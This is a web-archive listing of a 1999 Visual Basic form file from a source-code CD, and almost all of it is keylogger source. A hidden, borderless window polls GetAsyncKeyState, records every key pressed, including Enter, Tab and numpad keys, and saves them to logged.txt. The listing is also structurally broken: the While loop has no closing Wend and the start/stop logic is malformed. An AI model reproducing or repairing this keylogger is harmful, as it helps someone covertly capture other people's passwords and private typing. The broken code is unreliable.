home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / keystr1a / form1.frm (.txt) next >
Encoding:
Visual Basic Form  |  1999-09-15  |  3.8 KB  |  135 lines
  1. VERSION 5.00
  2. Begin VB.Form Form1 
  3.    Appearance      =   0  'Flat
  4.    BackColor       =   &H80000005&
  5.    BorderStyle     =   0  'None
  6.    Caption         =   "Start"
  7.    ClientHeight    =   3195
  8.    ClientLeft      =   0
  9.    ClientTop       =   0
  10.    ClientWidth     =   4680
  11.    ClipControls    =   0   'False
  12.    ControlBox      =   0   'False
  13.    LinkTopic       =   "Form1"
  14.    MaxButton       =   0   'False
  15.    MinButton       =   0   'False
  16.    ScaleHeight     =   3195
  17.    ScaleWidth      =   4680
  18.    ShowInTaskbar   =   0   'False
  19.    StartUpPosition =   2  'CenterScreen
  20.    Begin VB.CommandButton Command1 
  21.       Caption         =   "Start"
  22.       Height          =   855
  23.       Left            =   960
  24.       TabIndex        =   0
  25.       Top             =   960
  26.       Width           =   2655
  27.    End
  28. Attribute VB_Name = "Form1"
  29. Attribute VB_GlobalNameSpace = False
  30. Attribute VB_Creatable = False
  31. Attribute VB_PredeclaredId = True
  32. Attribute VB_Exposed = False
  33. Dim Logged As String
  34. Dim Logging As Boolean
  35.  Const VK_NUMPAD0 = &H60
  36.  Const VK_NUMPAD1 = &H61
  37.  Const VK_NUMPAD2 = &H62
  38.  Const VK_NUMPAD3 = &H63
  39.  Const VK_NUMPAD4 = &H64
  40.  Const VK_NUMPAD5 = &H65
  41.  Const VK_NUMPAD6 = &H66
  42.  Const VK_NUMPAD7 = &H67
  43.  Const VK_NUMPAD8 = &H68
  44.  Const VK_NUMPAD9 = &H69
  45.  Const VK_MULTIPLY = &H6A
  46.  Const VK_ADD = &H6B
  47.  Const VK_SEPARATOR = &H6C
  48.  Const VK_SUBTRACT = &H6D
  49.  Const VK_DECIMAL = &H6E
  50.  Const VK_DIVIDE = &H6F
  51.  Const VK_F1 = &H70
  52.  Const VK_F2 = &H71
  53.  Const VK_F3 = &H72
  54.  Const VK_F4 = &H73
  55.  Const VK_F5 = &H74
  56.  Const VK_F6 = &H75
  57.  Const VK_F7 = &H76
  58.  Const VK_F8 = &H77
  59.  Const VK_F9 = &H78
  60.  Const VK_F10 = &H79
  61.  Const VK_F11 = &H7A
  62.  Const VK_F12 = &H7B
  63.  Const VK_F13 = &H7C
  64.  Const VK_F14 = &H7D
  65.  Const VK_F15 = &H7E
  66.  Const VK_F16 = &H7F
  67.  Const VK_F17 = &H80
  68.  Const VK_F18 = &H81
  69.  Const VK_F19 = &H82
  70.  Const VK_F20 = &H83
  71.  Const VK_F21 = &H84
  72.  Const VK_F22 = &H85
  73.  Const VK_F23 = &H86
  74.  Const VK_F24 = &H87
  75.  Const VK_NUMLOCK = &H90
  76.  Const VK_SCROLL = &H91
  77. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  78. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  79. Private Sub Command1_Click()
  80. If Command1.Caption = "Start" Then
  81. Command1.Caption = "Stop"
  82. Logging = True
  83. While Logging = True
  84. I = I + 1
  85. GetKeyStateZ = GetAsyncKeyState(I)
  86. If GetKeyStateZ = -32768 Then
  87.     If I = 8 Then
  88.         Logged$ = Logged$ & "<backspace>"
  89.     ElseIf I = 9 Then
  90.         Logged$ = Logged$ & "<tab>"
  91.     ElseIf I = 13 Then
  92.         Logged$ = Logged$ & "<enter>"
  93.     ElseIf I = VK_NUMLOCK Then
  94.         Logged$ = Logged$ & "<numlock>"
  95.     ElseIf I = VK_NUMPAD1 Then
  96.         Logged$ = Logged$ & "<num 1 >"
  97.     ElseIf I = VK_NUMPAD2 Then
  98.         Logged$ = Logged$ & "<num 2 >"
  99.     ElseIf I = VK_NUMPAD3 Then
  100.         Logged$ = Logged$ & "<num 3 >"
  101.     ElseIf I = VK_NUMPAD4 Then
  102.         Logged$ = Logged$ & "<num 4 >"
  103.     ElseIf I = VK_NUMPAD5 Then
  104.         Logged$ = Logged$ & "<num 5 >"
  105.     ElseIf I = VK_NUMPAD6 Then
  106.         Logged$ = Logged$ & "<num 6 >"
  107.     ElseIf I = VK_NUMPAD7 Then
  108.         Logged$ = Logged$ & "<num 7 >"
  109.     ElseIf I = VK_NUMPAD8 Then
  110.         Logged$ = Logged$ & "<num 8 >"
  111.     ElseIf I = VK_NUMPAD9 Then
  112.         Logged$ = Logged$ & "<num 9 >"
  113.     ElseIf I = VK_NUMPAD0 Then
  114.         Logged$ = Logged$ & "<num 0 >"
  115.     ElseIf I >= 32 And I <= 126 Then
  116.         Logged$ = Logged$ & Chr$(I)
  117.     ElseIf I >= 160 And I <= 255 Then
  118.         Logged$ = Logged$ & Chr$(I)
  119.     End If
  120. End If
  121. If I = 256 Then I = 0
  122. DoEvents
  123. Open CurDir & "/logged.txt" For Output As #1
  124.     Write #1, Logged$
  125. Close #1
  126. Command1.Caption = "Start"
  127.     Logging = False
  128. End If
  129. End Sub
  130. Private Sub Form_Load()
  131. Command1.Move 100, 100
  132. Me.Width = Command1.Width + 200
  133. Me.Height = Command1.Height + 200
  134. End Sub
  135.